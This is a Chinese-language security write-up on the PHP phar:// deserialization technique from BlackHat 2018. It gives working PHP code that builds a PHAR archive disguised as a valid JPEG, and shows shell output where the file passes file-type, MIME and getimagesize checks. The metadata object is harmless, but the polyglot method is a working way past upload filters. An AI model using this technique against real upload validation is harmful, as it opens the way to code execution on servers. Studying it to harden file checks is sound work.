如何将Phar文件包转化成图像从而绕过文件类型检测

在美国举办的BlackHat 2018大会上，已经有白帽黑客证明可以从PHAR包获得RCE，而且，通过调整其二进制内容，可以将其伪装成完整的有效图像，绕过安全检查。

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背景

在美国举办的BlackHat 2018期间，来自英国网络安全公司Secarma的研究总监Sam Thomas召开了一个关于在PHP中利用phar://流包装器(stream wrapper)在服务器上执行代码执行的会议。

一个PHP应用程序往往是由多个文件构成的，如果能把他们集中为一个文件来分发和运行是很方便的，这样的列子有很多，比如在window操作系统上面的安装程序、一个jquery库等等，为了做到这点PHP采用了PHAR文档文件格式，这个概念源自java的jar，但是在设计时主要针对PHP的Web环境，与JAR归档不同的是PHAR归档可由PHP本身处理，因此不需要使用额外的工具来创建或使用，使用PHP脚本就能创建或提取它。PHAR是一个合成词，由PHP和Archive构成，可以看出它是PHP归档文件的意思。

在执行PHAR包时，PHP将反序列化其内容，允许攻击者启动PHP对象包含链。其中最有趣的部分是如何触发有效载荷，因为归档上的任何文件操作都将执行它。最后，不需要猜测正确的文件名，因为即使失败的文件调用也需要PHP来反序列化内容。

另外，完全可以将PHAR包伪装成100%有效的图像。

在这篇文章中，我将介绍伪装的详细过程。

降级至字节码级别

有时我们会忘记文件只是遵循预定义结构的一堆字节，但应用程序将检查它们是否能够管理这样的数据流，如果能，它们将生成一个输出。

在演讲中，Thomas给出了一个关于如何创建具有有效JPEG标头的PHAR包的提示。

按着提示，我们要做的是创建一个具有JPEG标头的文件，并相应的更新PHAR校验和。通过这种方式，文件将被视为一个图像，但PHP还能够执行它。

如果你认为更改几个字节并更新校验和就可以轻松完成操作，那你就想得太简单了。

计算校验和(至少对我来说)是件痛苦的事情，然后我就想，如果我让PHP为我做这些工作呢?

所以我改编了Thomas在演讲中提到的做法，如下所示。

<?phpclass TestObject {} 
 
$phar = new Phar("phar.phar"); 
$phar->startBuffering(); 
$phar->addFromString("test.txt","test"); 
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>"); 
$o = new TestObject(); 
$phar->setMetadata($o); 
$phar->stopBuffering();

如你所见，我将原始HEX字节添加到PHAR归档的存根部分。以下就是原HEX结果：

tampe125@AlphaCentauri:~$ xxd phar.jpeg  
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_ 
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>.. 
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L............... 
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test 
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}.... 
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[ 
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~.......... 
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5. 
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB

它是一个有效的PHAR和JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg  
phar.jpeg: JPEG image data 
tampe125@AlphaCentauri:~$ php -a 
php > var_dump(mime_content_type('phar.jpeg')); 
php shell code:1: 
string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
php shell code:1: 
bool(true)

PHP将其识别为图像，但我仍然可以看到归档上的内容。

请查看存根部分并注意它是如何缺少开始的PHP标记的。这是大多数内容扫描器都无法看到的关键内容。要使归档有效，惟一需要的是__HALT_COMPILER()函数，我认为这被PHP用来表示它应该跳过多少数据。

我有一个文件，它可以通过任何基于文件标头的检查，然而任何比它更复杂的检查都会失败。例如，使用getimagesize检查图像将返回false，因为图像必定是伪造的。

tampe125@AlphaCentauri:~$ php -a 
php > var_dump(getimagesize('phar.jpeg')); 
php shell code:1: 
bool(false)

解决图像是伪造的问题?

但我看到我可以在__HALT_COMPILER()标记之前插入我想要的任何乱码，试想，如果我用它来制作完整的图像，会怎么样呢?

在花了太多时间来讨论JPEG规范和阅读PHP源代码后，我认为我可以简单的使用GIMP创建10×10黑色图像并嵌入其中。

<?phpclass TestObject {} 
 
$jpeg_header_size =  
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13"."\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02"."\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15"."\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14"."\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01"."\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03"."\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11"."\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20"."\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda"."\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; 
 
$phar = new Phar("phar.phar"); 
$phar->startBuffering(); 
$phar->addFromString("test.txt","test"); 
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); 
$o = new TestObject(); 
$phar->setMetadata($o); 
$phar->stopBuffering();

现在，检查以下我的思考成果。

tampe125@AlphaCentauri:~$ file phar.jpeg  
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3tampe125@AlphaCentauri:~$ php -a 
php > var_dump(mime_content_type('phar.jpeg')); 
php shell code:1:string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
php shell code:1:bool(true) 
php > var_dump(getimagesize('phar.jpeg')); 
php shell code:1: 
array(7) { 
  [0] =>  int(10) 
  [1] =>  int(10) 
  [2] =>  int(2) 
  [3] =>  string(22) "width="10" height="10"" 
  'bits' =>  int(8)  'channels' =>  int(3)  'mime' =>  string(10) "image/jpeg"}